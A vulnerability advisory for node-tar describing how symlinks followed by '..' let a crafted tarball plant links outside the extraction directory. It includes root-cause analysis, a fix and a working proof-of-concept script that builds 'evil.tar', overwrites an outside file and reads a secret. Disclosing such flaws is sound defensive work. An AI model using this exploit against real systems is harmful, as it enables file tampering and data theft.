CVE-2026-140247
node-tar: Symlink linkpath escape check is lexical: '..' after an in-archive symlink creates symlinks outside the extraction directory
Description
Summary
With default options, tar.x() / Unpack / UnpackSync can be made to create SymbolicLink entries whose targets resolve outside the extraction directory, although the README states that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder". The trick is a .. segment that follows a symlink created earlier by the same archive:
l1 SymbolicLink -> .
esc SymbolicLink -> l1/../outside.txt (lexically "outside.txt", actually <cwd>/../outside.txt)
escdir SymbolicLink -> l1/.. (lexically ".", actually the parent of cwd)
or, to go further up (one level per in-archive directory):
p/q/r/s SymbolicLink -> ../../.. (= cwd)
x SymbolicLink -> p/q/r/s/../../../victim.txt (lexically "p/victim.txt", actually <cwd>/../../../victim.txt)
None of these entries produces a warning, while the direct form (esc -> ../outside.txt) is still rejected. The step-2 symlink of the GHSA-83g3-92jg-28cx chain (a/b/c/up -> ../.., a/b/escape -> c/up/../..) also still points outside the extraction root on 7.5.23; that fix blocked only the step-3 hardlink.
Affected versions
Tested on tar@7.5.23 (latest; main HEAD eb92e17) with Node 18 on Linux, both async and sync extraction, default options. Versions containing the linkpath sanitization added for GHSA-8qq5 / GHSA-83g3 / GHSA-9ppj appear affected.
Details
src/unpack.ts[STRIPABSOLUTEPATH](~L283-301) accepts a symlink linkpath containing..whenpath.posix.normalize(join(dirname(entry.path), linkpath))does not start with../. This is purely lexical:l1/../outside.txtnormalizes tooutside.txt.[SYMLINK](~L640-660, same logic inUnpackSync~L1099-1119) builds the components passed to[ENSURE_NO_SYMLINK]frompath.relative(cwd, path.resolve(dirname(abs), linkpath)).path.resolvecollapsesl1/..before anylstat, so the existing symlink componentl1is never inspected.- The kernel resolves
l1/..as<target of l1>/..; withl1 -> .that is the parent of the extraction directory.
Because l1 is never inspected and symlink targets resolve lazily, entry ordering and parallel async extraction do not matter.
Steps to reproduce
- Build an archive (any tool; e.g. node-tar's own
Header):const fs = require('fs'), tar = require('tar') const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b } fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)])) fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)])) - Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
fs.mkdirSync('root/extract', { recursive: true }) fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n') await tar.x({ cwd: 'root/extract', file: 'evil.tar' }) // same with sync: true fs.writeFileSync('root/extract/esc', 'PWNED\n') console.log(fs.readFileSync('root/outside.txt', 'utf8')) // PWNED console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.
Impact
An attacker-supplied tarball extracted with default options can plant symlinks inside the extraction directory that point to arbitrary files or directories outside it (any depth above the extraction root, controlled by the number of in-archive directories). Any subsequent read or write of the extracted tree by the application — serving files, reading a manifest, writing build output into an extracted folder — then reaches outside the root with the privileges of the extracting user. This is the same impact as GHSA-9ppj-qmqm-q256 and GHSA-8qq5-rm4j-mr97 ("symlink poisoning"), through a different bypass.
Suggested CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N (7.1), mirroring GHSA-83g3-92jg-28cx.
Suggested fix
For SymbolicLink entries, do not normalize the linkpath lexically before the check. Walk the raw linkpath components starting from dirname(entry.absolute), lstat each existing component before applying the next .., and reject the entry if an existing component is a symlink (the rule [ENSURE_NO_SYMLINK] already applies to hardlinks). A simpler alternative is to reject any .. segment that follows a component which currently exists as a symlink.
This issue was found with automated analysis (variant analysis) and manually verified.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » tarvia npm tar | < 8.0.0 | 8.0.0 |
| org.webjars » tarvia npm tar | < 8.0.0 | 8.0.0 |
| org.webjars.npm » tarvia npm tar | < 8.0.0 | 8.0.0 |
Blast radius
76% of the dependent artifacts (16) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 15 |
| 2 hops | 12 |
| 3 hops | 4 |
| 4 hops | 4 |
| 5 hops | 8 |
| 6 hops | 2 |
Most used dependents
- org.webjars.npm » openlayers4 usages
- org.webjars » bin-build4 usages
- org.webjars » bin-wrapper4 usages
- org.webjars.npm » closure-util2 usages
- org.webjars » download2 usages
- org.mvnpm.at.lwrjs » api1 usages
- org.webjars » imagemin-gifsicle1 usages
- org.webjars » imagemin-jpegtran1 usages
- org.webjars » imagemin-optipng1 usages
- org.webjars » imagemin-pngquant1 usages
- org.webjars.npm » get-down1 usages
- org.webjars » decompress1 usages
- org.webjars » gifsicle1 usages
- org.webjars » jpegtran-bin1 usages
- org.webjars » optipng-bin1 usages
Computed from the dependency graph of build 20261201.0702 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-140247 | nvd.nist.gov |
| Package | isaacs/node-tar | github.com |
| Web | isaacs/node-tar advisory GHSA-gvrf-jx37-rjv5 | github.com |
| Web | isaacs/node-tar commit 23b3681 | github.com |
| Web | isaacs/node-tar release v8.0.0 | github.com |
